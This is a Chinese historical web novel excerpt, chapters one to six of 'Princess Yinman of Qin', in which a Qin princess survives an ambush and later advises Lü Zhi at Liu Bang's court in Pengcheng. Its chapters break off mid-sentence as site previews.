《秦公主阴嫚》 1. 第 1 章 《秦公主阴嫚》全本免费阅读 秦始皇三十七年,七月。 正值夏季,林木发了疯似地生长。枝叶堆叠在一起,浓稠的绿色吞没了整座宫殿。 仆从们神色肃穆,像没有灵魂的木偶,端着药碗游走在长廊中,清苦的味道在宫室中弥散,整座行宫散发着不祥的气息。 小寺人吸了吸鼻子,和同伴说道:“陛下已经吃了好久的药了,怎么还是不见好?” 同伴丢下扫帚,伸了个懒腰,坐在台阶上:“谁知道,贵人们的事情还是少管为妙。不过——”他话锋一转,瞬间勾起了小寺人的好奇心。 “不过什么?”小寺人凑到了同伴的身边追问。 同伴环顾四周,在确定没人后才说道:“不过我听宫里的老人们说,这几日的天象和赵王死前的天象一模一样!” “哦?不知道是哪个赵王呢?” 突然加入的声音,让两人汗毛倒竖,猛地回过头,只见一个模样俊俏的少年蹲在他们身后。那少年托着腮,黑白分明的大眼睛满是好奇。 可两人却感到了一股恶寒。谁不知道十八公子喜怒无常,要是落在他手里肯定没好果子吃! “公子饶命!”两人跪在地上求饶。 胡亥蹲在长廊上,嘴角噙着笑,看着两个寺人的垂死挣扎。 “我不过是问问你们,怎么吓成这样?如此吵吵闹闹,扰了父皇休息可怎么办?”他故作苦恼地按了按太阳穴。 两人顿时闭上了嘴,瑟瑟发抖地跪在地上。 “没意思。还以为找到两个好玩的呢。”胡亥站了起来,掸了掸衣服,轻描淡写地对身后的侍从说道,“非议皇族,处理了吧。” 轻飘飘的一句话犹如晴天霹雳,绝望顿时淹没了寺人们。他们哭嚎着,哀求着,却不敢有一丝愤怒。 “住手!”清亮的女声呵止了暴行。 “原来是阴嫚阿姊啊。”胡亥露出讨喜的笑容,“什么风把你吹来了?” “胡亥你又在做什么?”阴嫚扫了他一眼,吐出的话语疏远又冷漠,与胡亥的热情形成鲜明的对比。 “自然是处理搬弄是非的人喽。”胡亥指着那两个寺人,“这两个人诅咒父皇,我不过是做了人子该做的事情罢了。” 说到这,胡亥歪过头看向阴嫚,嘴角勾起一抹恶劣的笑容:“阿姊不会是想学兄长,不顾父皇的身体吧。” “父皇尚在休养,这期间宫中不宜沾染血腥。”阴嫚不为所动,冷冷道,“你我之间到底是谁不顾父皇身体,只怕早有分晓了。” “阿姊果然伶牙俐齿,小弟甘拜下风。”胡亥不怒反笑,让人放了两个寺人。 他又道:“自父皇病重阿姊便侍奉左右,想来与父皇说了不少体己话吧。” 阴嫚斜眼看向胡亥,唇角上扬,勾起凉薄的弧度:“我说我与弟弟怎么会这么巧地撞见?原来是犬鼻灵敏,闻味儿跟来的。” “想知道我跟父皇说了什么,你大可以去问父皇,我可没工夫陪你玩游戏。但——”说到这,阴嫚收去脸上的笑意,抬起下颌,轻蔑地看向胡亥,“我想你应该不敢去问父皇吧。” 见胡亥的脸上出现了难堪二字,阴嫚心情大好。她拍了拍胡亥的肩膀,语气嘲弄道:“术业有专攻,犬能做的,小彘去做只会弄巧成拙。你说是不是啊?弟弟。” 言罢,张扬肆意的笑声从阴嫚的喉咙溢出,回荡在整个长廊上。 胡亥被气得脸色发青,身体也不自觉地发抖。被人骂做犬彘,还没办法反驳,他什么时候受过这样的侮辱! “公子?” 听到有人叫他,胡亥深吸一口气,压抑住自己的愤怒,命令道:“动手。” “是。” “还有,把刚才那两个寺人也处理了,我见着心烦。” “是。” 胡亥望向黑压压的天空,目光怨毒阴狠。他想,嬴阴嫚你别得意得太早,输赢未定,谁死谁活还不一定呢! 一道惊雷乍起,将碗口粗的树木劈成了两半,焦糊的味道扑鼻而来。又一道闪电划过,天空被撕开一条口子,天河水倾泻而下,仿佛要将整个人间化作汪洋。 就在这不宜出行的时候,却有一队人马疾驰而过。动作迅速,转眼间就消失在雨幕中。 随着时间的流逝,天色渐渐地暗了下来。这群人勒住了马,停在一片林子前。 “公主,暴雨未有停歇之迹,深夜纵马恐有危险。我们还是先找个地方休息一晚吧。”有人建议道。 领头人支起斗笠,露出了如玉的面孔。此人正是在不久前气得胡亥跳脚的阴嫚。不同于之前的阴阳怪气,此刻的阴嫚沉着冷静,是所有人的主心骨。 “暴雨来得快去得也快。我观天象,大雨不久将歇。”她抹了把脸,正色道,“陛下急诏慢不得,继续赶路。” “是!” 队伍重新踏上旅途。林中又变得热闹起来,哗啦啦的雨声,咚咚的马蹄声,还有利刃割破空气的声音…… 阴嫚来不及反应,下意识地护住诏书避开了直奔面门的飞箭。 “有刺客!”扈从立刻抽刀大喊,“保护公主!” 奈何敌人躲在暗处,他们很快落入了下风。阴嫚见状立刻命令众人弃马入林。 丛林茂密,刚好可以作为掩护。刺客见状,不得不放弃射杀,跳出藏身之处,入林与扈从肉搏。 刀光剑影顿起,林中升起一股血腥之气。 阴嫚与一名刺客对峙,谁都不想错过对方的一丝破绽。倏然,一节树枝断落,阴嫚抓住这一瞬间,以迅雷之势踢飞了刺客手中的剑,反手斩断了对方的脖颈。她挑开刺杀者的面巾,一张熟悉的面孔映入眼帘。 这人是胡亥的门客。阴嫚抿着嘴,心想,看来这混账羔子发现父皇召回兄长的事情了。他现在打算先下手为强。但此事只有我与父皇知晓,胡亥又是从哪得知的消息? 忽然,一个猜想从她的心底浮现 “公主当心!” 阴嫚下意识地偏身,只听嗖的一声,一支箭从脸侧飞过。若 2. 第 2 章 《秦公主阴嫚》全本免费阅读 “汉王带着大军回来了!” 刚入春,刘邦攻克彭城的消息好似长了翅膀,顿时传遍了大街小巷。父老乡亲们得了空闲就聚在酒馆里,讨论起刘邦的神勇无敌。一个个说得有鼻子有眼,好像他们身临战场亲眼看到似的。 “我听说汉王是个宽厚的长者,若是由他来管理泗水,那我们的苦日子就到头了!” “可不!我早就受够现在的日子了!” “好好好,这次我男人肯定能随汉王返乡,我已经快三年没见过他了。” 妇人的话引起了许多人的共鸣,众人纷纷诉说起自己对家人的思念之情。 “要我说,这事就怪西楚霸王。” 此话一出,众人噤声不敢接言。 这时,一人抚掌亮声应道:“怕什么?老兄说得有道理。想当初汉王从沛县起家,带的都是我泗水一带的子弟,他项羽怎么能把人分到远在千里之外的汉中呢?让我们饱受骨肉分别之苦!” 见有人应声,其他人才敢把自己的一腔怨恨倾吐而出。 “可我就害怕那项王杀回来,到时候汉王一走,我们又要骨肉分离了。” “嗐,我还当多大的事。汉王带了百万大军,还有各路诸侯相助,即便他项羽有通天的本事,也是无力回天!” …… “打酒。” 空灵的女声像是从天而降的凉水,浇灭了酒馆中热烈的火苗。循声望去,酒馆内突然多了个女人。她戴着斗笠,身形单薄,腰间挂着两条鱼,细长的手指上挂着一个酒葫芦,直愣愣地杵在门口,带着几分诡异,让人心里直犯嘀咕。 店伙计壮着胆子,上前一步,询问道:“敢问女子需要什么酒?” “随便。二两即可。” 女人将酒葫芦递了过去,店伙计这才看清女人的容貌,脸色苍白如缟素,一双空洞无神的黑瞳,像极了老人们口中的鬼怪。他下意识地打了个寒颤,急忙去打酒,想着赶快把人打发走。 “您的酒。”店伙计双手奉上酒葫芦。 女人拿过酒葫芦,付了酒钱后就离开了。高挑颀长的身影渐渐地消失在蒙蒙细雨中。 “吓死老子了,”酒馆内的食客心有余悸道,“刚刚那到底是人是——” “你别说了,怪吓人的!”其他人连忙打断了食客的话。 “你们胆子怎么那么小?”食客满不在意,“不过就是个装神弄鬼的巫医罢了。” 店家附和:“就是就是,这大白天的,哪能见鬼?要我说,就是有人在装神弄鬼。” “啊!”店伙计突然大叫起来。 店家被吓得一哆嗦,伸手揪着店伙计的耳朵:“你叫什么叫!吓死老子!” 店伙计颤巍巍地将女人丢给他的铜钱拿到店家面前。就在店家看到铜钱的那一瞬间,一张脸顿时没了血色。 秦半两!要知道秦半两早就在几年前绝迹了。如果说哪里还能找到的话,那就只有……某些秦人的坟墓了…… 这下,酒馆内鸦雀无声。众人不约而同地想道,天爷,当真是大白天见鬼了! 而此刻,被人当作“秦时鬼”的阴嫚正在城郊的破屋里落脚。她坐在火堆旁,看着木架上的两条鱼发呆。 她赢阴嫚大难不死,又从地狱爬回人间了。 还记得自己刚醒过来的那阵子,全身上下只剩下两个眼珠子会动。花了小半年的时间,她才重新掌握四肢。她不清楚是谁救了自己,只记得每天会有人来送饭菜衣物。后来她在草庐中发现了兄长的旧物,便推测救她的人应当是兄长的故交。但她也明白,对方救自己也是仁至义尽了。她身份特殊留在恩人的住处只会给恩人惹麻烦,故而在身体痊愈后,就离开草庐了。 算算时间自己在外漂泊正好满一年。 在漂泊的这段时间,她心中的情感多为遗憾,自己醒来得太迟,想杀的人,想救的人全部作古长眠,曾经的壮志凌云也早已被现实碾成了齑粉,消散在时代的疾风中。 现在的她好似一具没了灵魂的躯壳,漫无目的地游荡在世间,不知此身将往何处…… 阴嫚拔开酒塞,喝了一口酒。 一阵敲门声打断了她的伤春悲秋。她戒备地问道:“何人?” 妇人的声音透过木门传来,闷闷的:“突逢大雨我一家人实在无处可避,还请主人怜惜,让我一家人进屋避雨。” 阴嫚瞄了一眼窗外,刚刚的绵绵细雨早已变成了瓢泼大雨。她停顿了一下,对着外面说道:“你应该知道这里是废弃之所,我也不是什么主人家。想避雨自行进来不就好了,何必多此一问?” “这可不行,常言道,先入为主。既是女子先入此屋,女子便是屋主,我等总要得了你的应允才好。”妇人谦虚有礼。 阴嫚收起了戒备:“进吧。” 木门被推开,一家五口出现在她面前。一对老夫妻,男女两童,还有一个正值壮年的妇人。他们颇为礼貌地作揖,表达了自己的感谢。阴嫚微微颔首,算是接受了。 阴嫚喝着酒打发时间,一家五口整理衣物,两拨人各忙各的,倒也是井水不犯河水。 外面风雨交加,室内却很是安静。烤鱼发出滋滋的声音,焦香味早就充盈整个室内,勾得人垂涎三尺。 咕噜噜的响声打破了屋内的沉静。 阴嫚抬眼看去,只见男童满脸通红地捂着肚子,一副羞愤欲死的模样。 老妇不忍孙子挨饿,犹豫了许久终于向她开口:“女子,我……我可否用我们的干粮换你的鱼?” “母亲!”妇人拉着老妇的袖子,制止道,“哪有用干粮换人家的肉的?您——”她蹙着眉不知道该说老人家什么好,只好站起来,亲自向阴嫚道歉:“老人家心疼孩子,一时忘了分寸,并非有意冒犯,还请女子莫怪。” 阴嫚的目光落在两个孩子的身上。两人虽然乖巧地坐着,但眼睛却紧紧地盯着火堆上的鱼,有时候还会不自觉地吞着口水,瞧着也是可怜。她道:“我 3. 第 3 章 《秦公主阴嫚》全本免费阅读 “你,你少在那里装神弄鬼!我才不怕你!”为首者拔出佩剑给自己壮胆。 阴嫚扫了对方一眼便收回视线,那姿态显然是把对方当作一条乱叫的狗。为首者感受到了侮辱,顿时恼羞成怒:“贱妇找死!抓住她!” 一场打斗必不可免。阴嫚侧身避开直冲腰腹的长剑,一手握住了兵卒的手腕。只听咔哒一声,一声惨叫乍起。定睛一看,兵卒的手竟以一种不可思议的方式折了回去。她用力一甩,将兵卒丢了出去,砸在其他人身上。趁着兵卒们暂时无力反击时,她抢过一人的剑,飞身上前。锋利的剑刃在距离为首者喉咙一指的位置停了下来,阴嫚冷漠的声音在屋内响起:“都别动,不然杀了他。” 春秋战国留下的传统,作战时上官被俘或者被杀,其下属要受到惩罚。眼下她挟持了为首者,兵卒们投鼠忌器不敢上前。打斗声骤然停下,死一般的寂静在屋中蔓延。 阴嫚刚打算让吕雉等人先出去,结果一支飞箭打乱了她的计划。箭羽穿甲而过,刺穿为首者的后心。她看着死掉的楚伍长咋舌,这下麻烦了。 失去掣肘的兵卒们顿时暴起冲向阴嫚和刘家人。 阴嫚当机立断:“想活命就去院子里!” 许是她的样子太唬人,刘家人竟听从了她的指令向屋外跑去。 但刘盈到底年幼,经不起吓。他脚一软,竟绊在门槛上,摔得五体投地。阴嫚见状立刻攻兵卒下三路,放倒对方后,快步来到刘盈身边,扯着对方的衣领,把人从屋子里拎了出来。 一到院子里她便喊道:“还等什么!太公和夫人都已脱离危险,不射杀追兵是想等着他们再被抓吗?”话音刚落,一支支箭羽破空而来,将屋内的四名追兵射成了刺猬。 不过片刻,危机解除,众人长舒一口气。阴嫚抹了把脸,一脸不悦地看向正在刘太公面前嘘寒问暖的汉军将领,冷声道:“成事不足败事有余的东西。” 她的声音不高不低足够在场人都听到。那将领的脸色顿时变得难看:“你说什么?” “我要是你,这个时候就该想想如何向汉王请罪。”阴嫚将长剑插在地上,继续挖苦道,“一个统领五十个人的屯长还分析不明白战局。依我之见,你还是尽早退位让贤,让别人来当屯长吧。” 气氛降至冰点,众人不禁面面相觑。 “说的好!”一人的声音突然闯入,让凝滞的空气重新流动起来。 阴嫚看向迎面走来的男人。高大威武,虽然身着蓑衣,但观其姿态,应当是个高级将领,更有可能是刘邦的亲信。 “你莽撞行事,自去领罚。”那人对屯长说道。 屯长虽有不甘但还是领命离开了。 阴嫚却评价:“约束不严,事后找补。” 那人笑了一下:“女子倒是伶牙俐齿。” 阴嫚懒着跟他打交道,正欲告辞就听到刘太公询问:“来人可是夏侯?” “太公好记性。太仆夏侯婴见过诸位。” 夏侯婴欲拜被刘太公拦住了。 阴嫚了然,原来这人是夏侯婴。但这又关我什么事,我可不想跟这群人扯上关系。她转身离开。 “女子留步!”吕雉叫住了她。 阴嫚歪着头看向吕雉询问:“夫人还有事交代?” “承蒙女子相救,故恳请女子同行,也好让我报答你的救命之恩。”吕雉说得诚恳。 “不必了。”阴嫚干净利落地拒绝了,“相濡以沫不如相忘江湖[1],我可不想卷进大麻烦里。” “纵然女子武艺高强,但今夜阴雨延绵,走夜路总归是不安全。不若先随我找个地方,换身干净的衣服,休息一夜,明早再走如何?” 不得不说吕雉的话戳到了阴嫚的心口窝。她看着自己紧贴在身上的衣服,一想到要穿湿衣服走一夜,她就浑身难受。于是,她抬了抬下颌:“说的也是。我救了你们要是不换些什么还是有点亏。那就带路吧。” 夏侯婴是个细致的人,找的地方既安全又舒适,让阴嫚难得睡了个好觉。 第二天一早,她换好衣服出门。嗅到新鲜的空气后,阴嫚不禁感叹,还是未经污染的空气沁人心脾。 “女子。” 阴嫚撇撇嘴,还真是我不就山,山来就我。她转过身打了个招呼:“夏侯太仆。” 夏侯婴和善道:“昨夜匆忙还未来得及请教女子大名。” “你不都问过太公和夫人了,何必再问?我与他们不过萍水相逢罢了。追究起来,我才是被卷入麻烦的可怜人,不是吗?”阴嫚瞥见了对方眼中闪过的惊讶,嗤笑一声,“至于为什么断定外面是汉军,这很简单,箭是破甲箭,楚伍长被一箭毙命。” 夏侯婴见她坦诚布公,索性开门见山:“难道就不能是楚军误杀?” “我的身影被伍长遮得严严实实,太公等人又是重要的人质。在看不到敌人的情况下,下令射杀自己人,你觉得楚军的脑子是被马踢了吗?” 她这话说得相当不客气,就差对夏侯婴直说:“你们那个屯长当真是脑子进水了。我都控制局面了,结果他把人杀了,是怕楚卒暴起得不够快,还是觉得刘家人的命太硬?” 夏侯婴作揖:“女子教训的是,是我管教不严。” “谁管你管教得严不严,又跟我没关系。”她伸出手,“我的报酬呢?给我,我现在滚蛋。” 夏侯婴冷不防地听到这么不按常理的回答,一时间瞪眼翘舌,不知道该怎么接话。 就在这时,吕雉走了过来:“原来女子已经醒了,不如一起走走?” 阴嫚的眉头吊得老高,我是香饽饽吗?怎么一个两个的一大早都来找我? 沿着长廊走了一段距离后,吕雉突然对她说道:“昨夜听夏侯婴说汉王身边有了一位年轻貌美的戚夫人,她还有一个两岁的孩子。他们母子也在彭城。” 刘老三的本色。他要是能管住自己,那就不是他了。不过吕 4. 第 4 章 《秦公主阴嫚》全本免费阅读 吕雉很清楚丈夫贪图美色的本性,所以在知道戚姬母子的存在后她并不是十分的恼火。让她真正动怒的是戚姬竟然想要抢她儿子的位置,更让她怨恨的是刘季竟然犹豫了! 这些年自己兢兢业业地做好一个妻子的本分,到头来竟要被如此对待,当真是可笑至极!既然你不讲情义,那就休怪我不义。该是我的,谁也别想拿走! 吕雉的目光落在了阴嫚身上,她知道自己是在冒险,可是她别无选择。她迫切地需要一个人,在她进入彭城前,替她,替孩子们筹谋一番。 阴嫚觉得有人在看自己,回头看去,就看到了吕雉正在看着她。说实话,她挺佩服吕雉的眼力和魄力,吕雉是第一个发现她想要什么的人,也是第一个敢与她做交易的人。同这样的人打交道固然是省心的,但也很危险。不过古人云,富贵险中求[1]。 她微微颔首收回了自己的视线,重新看向正在背书的刘氏姐弟。 虽说刘家祖上阔过但传到刘邦这里也没剩下什么,更别说读书写字了。即便后来有吕家帮衬,刘氏姐弟的学识还是有欠缺。做储君自不能一问三不知,所以吕雉把这一双儿女交到了她的手里,希望姐弟二人能在入彭城前学些东西免得被人嘲笑。 此时刘盈正眉头紧蹙,想来又忘了要背诵的内容。 “……升彼虚矣,以望楚矣。望楚与堂……景山与京……降观于……桑,卜、卜……[2]”刘盈绞尽脑汁苦思冥想,还是没想起来卜后面的内容。 鲁元公主刘婠实在听不下去了,开口提醒道:“卜云其吉,终然允臧。” “啊,对。就是卜云其吉,终然允臧!”刘盈真诚地夸赞姐姐,“阿姊你真聪明!” “我都听你念几十遍了,要是再记不住,我都对不起自己耳朵里的茧子了。”刘婠揪了揪自己的耳垂,“倒是你,都读了这么多遍怎么还是记不住?笨死了!” 刘盈脸上出现羞愧的红晕,他低下头搅着手指。 阴嫚见状按了按自己的太阳穴,刘盈性情实在太温和了,甚至都有些好欺负了。所谓人善被人欺,马善被人骑[3],尤其是做皇帝,性格太弱了可不是好事。看来我得找几块磨刀石磨磨他了。 她出言:“人天资各异不可相提并论。公子善乐,《云门》之曲信手拈来;公主善书,《诗》之言过目不忘。若两相转换,公子苦读,公主难奏。依我之见,以己之长,嘲人之短,非得意之事也。” 刘婠闻言涨红了脸。 刘盈急忙替姐姐解围:“老师误会了,阿姊只是心直口快,并非嘲笑我。” “并非苛责,只是提醒。入了彭城后,当谨言慎行。”阴嫚看向刘氏姐弟,说道,“好了,春光正好,古人亦有踏青之俗,去玩吧。” 一听玩耍,两人顿时忘了刚才的不开心,颠颠地跑去玩了。 “这样未免太放纵他们了。”吕雉来到了阴嫚的身侧。 阴嫚看着嬉闹的姐弟二人,说道:“快乐的时光是有限的,还是让他们多玩一会吧。” “我并不担心婠儿,只是担心盈儿。”吕雉提到刘盈时不免担忧:“盈儿不似婠儿,其性格有缺又无出众之处,我担心不加以约束他会一事无成。” “公子年幼,性情可塑。压则懦弱无能,肯则温和仁善。一切皆在你我如何引导。况且公子也并非一无是处,他善乐律,六乐之曲了然于胸。君子六艺,乐居其二。您要看到他的优点。”阴嫚继续说:“储君最重要的不是才学,而是自信。现在的重中之重是让公子变得从容有度。” 吕雉明白,要人追随就要有让人追随的气魄。但盈儿唯唯诺诺的样子实在不像话,可又该如何让他有个储君样呢? 阴嫚看出了吕雉的焦虑,安抚道:“这是个过程,夫人不必着急。”接着她又说起了另一件事情:“现在外敌未除,内部不宜生出间隙,所以还需夫人曲意奉承一段时间。不知夫人可愿忍受?” 吕雉语气坚定:“愿意。只要能助我儿坐稳王位,我什么都愿意。” 阴嫚勾起嘴角,能在自己的心头插一把刀,当真果敢。她又道:“夫人放心不会让您忍耐很久的。” 疾风过境,撩起了两人的衣摆。 阴嫚仰起头看向天空,原本分散的白云在不知不觉中连成了一片,似有微雨。她咋舌,只怕绵绵春雨之下藏有湿冷寒意啊。 刚到彭城,阴嫚就看到城门外站着一群人,她猜应当是刘邦率领群臣出城迎接老父。 在刘家人团聚后,阴嫚就在一旁充当花瓶。正神游时,她注意到了刘邦身后的美貌妇人。那妇人身着红袍,头戴珠翠,一副正室夫人的打扮。阴嫚心道,看来戚夫人的野心不小啊。 “这位是——” 见刘邦注意到了自己,阴嫚淡声道:“芈欢。” “芈姓,”刘邦眼珠子一转,询问,“可是义帝的家眷?” “义帝应在我的曾叔祖父辈中。” “竟是公主!”刘邦大喜,情真意切道,“我曾受义帝恩惠得以为王,本欲报答,却不想义帝为奸人所害,无处报答,此乃我一生之憾。如今家眷蒙公主相救,此乃缘分!还请公主移驾彭城,让我得以报答大恩,还请公主不要推辞,让我再有遗憾。。” 阴嫚心道,刘邦不愧是市井出身,长着一张巧嘴。这一番言辞下来,自己再推辞就是不识抬举了。不过她本就没打算走,这番话刚好遂了她的意。阴嫚欣然应下刘邦的邀请。 刘邦袖子一挥,朗声道:“今日既是我一家团聚之日,又有公主做客,此乃双喜临门,快快设宴我要好好庆祝一番!” 在刘邦说完话的那一刹那,阴嫚察觉到了群臣眼中复杂的情绪。 她不动声色地想,难道是在担心卷入储位之争?但她又觉得不对,毕竟现在想这些未免早了些。但她一时之间找不到头绪,遂将这件事放到一边,跟众人进城了。 项羽在彭城的宫殿虽比不上咸阳宫巍峨大气,但也是富丽堂皇。青灰色的宫墙高大坚实,宫室殿宇雕龙画凤,更是巧夺天工。金制酒器在灯火下熠熠生辉,美酒佳肴,玉盘珍羞更是数 5. 第 5 章 《秦公主阴嫚》全本免费阅读 “今日刘季突然阴沉着一张脸来到我这。我问他怎么了?你猜他怎么说?他竟要我少装无辜。呵,多年夫妻情谊竟如此不堪一击。”吕雉的话中满是讽刺。 阴嫚清楚刘邦的本性,所以在听到这些绝情的话时,她并不感到意外。但出于同情,她还是出言安慰吕雉:“这点我们不是很清楚吗?夫人又何必耿耿于怀,气坏了自己便宜了别人,未免得不偿失了。” “我明白,也知道没必要动怒。可心还是忍不住愤怒,怨恨。” 阴嫚明白,要将心变得坚硬是需要一个过程的。期间的痛苦,她最是清楚。但这个过程别人帮不了忙,只能靠自己。于是她将手中的陶杯递给了这个可怜的女人:“夫人喝口茶吧。” 吕雉喝下茶水,心情平复了下来,说起了正事:“接下来该如何?被那贱妇一闹,我之前所做的一切岂不是白做了?” 自吕雉来到彭城后,刘邦就将打理后宫的差事交给了她。这不仅代表了刘邦对其的信任,也间接定下了刘盈嫡出的身份。戚夫人自然不会善罢甘休,这不就从寝殿的事情上给吕雉下了套。 依照礼制,妃嫔王嗣应在各自的宫殿中居住,而戚姬母子一直与刘邦住在一起。吕雉既然领了打理后宫的差事,自然要纠正这种错误行为。当时戚姬表现得十分顺从,可谁知道这人两面三刀。前脚从吕雉身边离开,后脚就到刘邦面前卖惨说吕雉容不下她,要赶她走。 这是一个很拙劣的陷害,动动脑就能破解。可惜刘邦宠爱戚夫人,一味地偏信她,最后直接闯到了吕雉的住处将吕雉臭骂了一顿,吓得刘氏姐弟连忙去找阴嫚来为母亲正名。 可是,自证清白哪有当事人自己幡然醒悟来得妙,得利多呢?这人啊,最讨厌被人当众指出错处了。 她吹了吹热茶,对吕雉说道:“我会让夫人白费功夫吗?夫人可别忘了,当日您安排戚姬母子暂居别处的时候,还有其他人在场呢。” 吕雉先是一愣,随即眉头舒展:“原来如此,打草惊蛇,借力打力,公主之计高妙。” 阴嫚笑而不语。当日在讨论戚姬去往何处住时,她特意让吕雉请来刘太公夫妇喝茶。当日发生了什么刘太公夫妇最为清楚。老人家为人正直,自不会看着吕雉受委屈。只要刘太公出面,一切就都迎刃而解,她们还能从刘邦的愧疚中捞到更多好处。 吕雉看见正盘问宫人的刘氏姐弟,不禁疑惑:“他们这是在做什么?” “让他们自己发觉彭城中的鬼影重重。”阴嫚转头看向表情凝重的刘氏姐弟,悠哉道,“没有什么比亲身经历更让人印象深刻了。” 她要借由此事令刘盈和刘婠清楚地认识自己的处境。刺激他们去审视自己的身份,思考自己的处境,清楚自己要做什么。 “原来你要我收下戚夫人送来的婢仆还有这层意思。”吕雉感叹道,“选择你,应是我做得最正确的选择。” “投我以木瓜,报之以琼瑶[1]。夫人对我有知遇之恩,我自当竭尽全力报答。” 说话间,仆从禀告:“夫人,吕将军和樊将军来彭城了。” 听闻母家来人,吕雉的脸上浮现出笑意:“兄长现在何处?” “正准备向大王请安,想必过一会儿就会来见夫人。” “你可见到二位将军?”阴嫚忽然问道。 仆从老实答道:“见到了。” “两位将军神情如何?” “……樊将军倒是与往常无异,只是吕将军……好像来势汹汹的。”仆从小心翼翼地回答。 阴嫚意识到了不妙,定是有人多嘴,将吕雉因戚姬受斥的事情传给了吕家人。吕将军此时来见刘邦未必是来请安。他要是说了什么不该说的,她们的计划就落空了。 她转头看向吕雉,正巧对方也在看她。 “看来我与夫人想到一处去了。” “现在该怎么办?” “交给我。夫人快去刘太公处准备。” “那就有劳公主了。” 阴嫚立刻向议事殿的必经之路走去。好在这次老天站在她这边,让她截住了二人。 还未等她开口,樊哙先粗声粗气地呵斥:“大胆宫人,见我二人非但不拜,还敢挡住我等的去路,你不要脑袋了吗?” 樊哙生得黝黑粗壮,豹眼环目,一身戾气。寻常人被他瞪上一眼,早就两股战战。 可阴嫚不仅没感到害怕,反而还因对方的无礼而蹙起了眉头。她一向不受委屈,当场反击了回去:“拜你?我怕你会折寿。” “你这妇人不过宫人尔,竟敢在本将军面前口出狂言!你活得不耐烦了?”樊哙的眉头拧得更紧了。 阴嫚阴阳怪气:“宫人?原来汉军的鲁莽不是个例。将军都这样了,难怪手底下的人会干那等蠢事。” 樊哙暴跳如雷:“你这贱妇竟敢羞辱于我!你——” “冷静,妹夫冷静。”吕释之一把拉住了勃然大怒的樊哙,劝道,“妹夫莫要冲动,我观此女气度不凡并非常人,想来正是在彭城做客的芈欢公主,莫要冒犯了贵客。” 樊哙一听不仅没有收了他那副凶神恶煞的尊容,反而更加恼怒:“原来是你!就是你害得老五丢了官!” “老五?那是谁?我可不认识。”阴嫚估摸着时间差不多了,打算离开,“懒着与你这粗人说话,我还有事恕不奉陪。” “你站住!” 樊哙挣脱了吕释之的束缚,大步走到她的面前,看架势似将阴嫚活吞了一般。 阴嫚却是连眉毛都没动,冷冷地问道:“还有事?” “你说你不记得老五,我不信。要不是你这无知妇人信口胡言,老五这个救驾有功之人怎会不但没赏反而还受了罚?” 见樊哙一副“你不给我一个合理的解释就休想离开”的表情,她耐着性子回忆自己是不是见过一个叫老五的人。在苦思冥想后,她终于在犄角旮旯里翻找出了疑似有关老五的记忆。 “那个屯长是你什么人?” “你还说你没见过他!你这满口谎话的妇人!我看就是你抢了我过命兄弟的功劳!你算个什么狗屁公主?我看你就是假的!走!跟我去见大王!” 樊哙伸手探向阴嫚的肩膀,似要将她拖走。 这一瞬间,阴嫚的耐心消耗殆尽。上下两辈子加起来,她还没见过如此不讲理的人。坐以待毙?那可不是她的作风!只见她并指为掌重击樊哙的麻筋。 剧烈的疼痛让樊哙倒吸一口凉气。 “抢功劳,我还没那么下作。至于我的公主之名,还轮不到你来置喙。”阴嫚冷笑一声 6. 第 6 章 《秦公主阴嫚》全本免费阅读 丝竹管乐之声自远方而来,华美奢靡之音不绝于缕。 但阴嫚一向平静如水的内心却多了几分烦躁,她将书本丢在书案上,捂着耳朵不让音乐入耳。她并非厌恶宴会之辈,可再优美的乐曲听多了,也会令人厌倦。 然而刘邦却像是怎么也听不够,时常叫来怜人奏乐吟唱。尤其是将领们陆续到来后,这靡靡之乐更是没有停歇的时候。 她推了所有宴请躲在住处,可管弦之音总是不请自来,扰人心绪。不过,她现在算是明白汉臣眼中的忧愁从何而来了。君王图乐不思进取实乃人臣所恶。 阴嫚摇了摇头,算了,这事不归我管,我才不替他们操心了。我还是找个清净地方缓一缓,再在宫里待着,我怕是要旧疾复发了。于是她叫上了刘氏姐弟,一起外出跑马去了。 彭城近几日总是雾气缭绕。亭台楼阁,民间小宿,都在迷雾中若隐若现,置身于此,竟有一种进入迷雾鬼城的感觉。而城郊更是诡异,远处涛声滚滚,近有芦苇拨雾。浅紫色的小花并蒂而开,带着香味的露珠打湿了阴嫚的衣摆。 她一人站在水边,享受着独属于她的时刻。在这里她可以放空大脑,让灵魂挣脱肉/体的羁绊,化作一尾鱼,畅游在江河之中。 长风拂过,深紫色的袖子化作一只振翅而飞的蝶,飞向了广阔的天地。 哒哒的马蹄声在身后响起,阴嫚回头看去,一匹红鬃烈马从眼前疾驰而过。见马上人身着甲胄,腰坠宝剑,她猜想对方应当是刘邦手下的将领。 阴嫚对刘邦手底下的人没有多大兴趣,正欲收回目光,却不想那人勒马驻足,停在了城门前,回首望向了她。 虽然相距甚远,但阴嫚依旧能感受到那人势若骄阳。纵使那人什么都没做,光是站在那里就让人移不开眼睛。 阴嫚撇撇嘴,吐槽,刘邦还真是个颜狗,无论是老婆孩子还是亲信大臣,无一例外的都有一副好相貌。 一辆马车缓缓驶过,挡在了阴嫚面前。恰逢此时下起了雨,阴嫚将那人抛到脑后,叫来了自己的马,带着刘盈和刘婠去避雨了。 暴雨阴晴不定,所到之处必是狼藉一片。即使是王宫也避免不了残花遍地,柳枝不起的景象。 宫室内虽灯火通明,却不见言笑晏晏,众人皆是噤若寒蝉,小心翼翼地观察着刘邦和韩信。 韩信挺直腰板,直视刘邦的眼睛,再次朗声道:“臣恭请大王约束群臣,整肃军队,以待项王。” 韩信当然能感受到刘邦的不悦,也知道不应该扫刘邦的兴。可是事实就是事实,它不会因为任何人或事而发生改变。如今深入楚国腹地的汉军被胜利冲昏了头脑,整日醉生梦死,军纪涣散,兵卒毫无战力,试问这样的队伍怎么可能抵得过反攻的项羽呢? 此话一出,室内更是安静得连一根针落地的声音都能听到了。 “大将军大抵是喝醉了,大王切莫将酒话当真。”一个儒雅的男人出来打圆场。在那人的三言两语下,宴会又一次热闹了起来。所有人好似忘记了刚刚发生的一切。 韩信看向把酒言欢的汉王,知道再劝无用,只得将满腔幽怨化作食欲,将食案上的酒食一扫而空。临近入睡,他还愤愤不平地想,不听吾之言,汝当悔尔! 雨势渐小,一团暖色从小窗泄出,留在浅浅的积水中。这时,一道悦耳的女声响起:“此人倒是颇有胆气。” “公主也认为言之有理?”吕雉看向坐在对面的阴嫚。 阴嫚刚从外面回来,身上带着一股潮气。此时她正一边喝姜汤,一边听吕雉讲述今日宴席上发生的事情。在捕捉到一个关键字后,她抬起头看向吕雉:“也?” 吕雉:“不瞒公主说,兄长也对我说大将军言之有理。” 阴嫚:“我明白了。夫人是担心一语成谶。” 